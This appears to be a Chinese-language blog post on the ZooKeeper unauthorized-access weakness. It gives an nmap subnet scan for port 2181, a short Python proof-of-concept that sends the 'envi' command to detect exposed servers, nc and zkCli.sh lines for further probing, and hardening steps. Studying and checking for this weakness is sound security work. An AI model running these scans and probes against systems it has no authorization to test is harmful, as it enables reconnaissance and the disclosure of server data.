A-A+

namap 检测 ZooKeeper未授权访问漏洞+ python 验证PoC

2018年06月13日 11:00 学习笔记 评论 2 条 阅读 29 views 次

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】

Zookeeper 的默认开放端口是2181。Zookeeper 安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用 Zookeeper,通过服务器收集敏感信息或者在 Zookeeper 集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。

发现 Zookeeper

nmap -sS -p2181 -oG zookeeper.gnmap 192.168.1.0/24               //(注意需要最新版本namap)

grep "Ports: 2181/open/tcp" zookeeper.gnmap | cut -f 2 -d ' ' > Live.txt

 

python 验证脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# coding=utf-8
 
import socket
 
 
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        flag = "envi"
        # envi
        # dump
        # reqs
        # ruok
        # stat
        s.send(flag)
        data = s.recv(1024)
        s.close()
        if 'Environment' in data:
            return u"Zookeeper Unauthorized access"
    except:
        pass
 
 
def main():
    ip = "1xx.xxx.xxx.x1"    //这里改成你要验证的IP
    print check(ip, 2181, 2)
 
if __name__ == '__main__':
    main()

脚本参考来源:https://github.com/ysrc/xunfeng/blob/master/vulscan/vuldb/zookeeper_unauth_access.py
https://github.com/lijiejie/BBScan/blob/master/scripts/zookeeper_unauth.py

深入利用:

执行以下命令即可远程获取该服务器的环境: echo envi | nc ip port

直接连接: ./zkCli.sh -server ip:port

5.3 漏洞加固

1、禁止把 Zookeeper 直接暴露在公网

2、添加访问控制,根据情况选择对应方式(认证用户,用户名密码)

3、绑定指定 IP 访问

标签:

2 条留言  访客:1 条  博主:1 条

  1. test

    这个 zkCli.sh 脚本能分享下吗,一直没找到,谢谢。

    • gdd

      zkCli.sh脚本是Zookeeper安装包中自带的一个客户端,放在$ZK_HOME/bin目录下

给我留言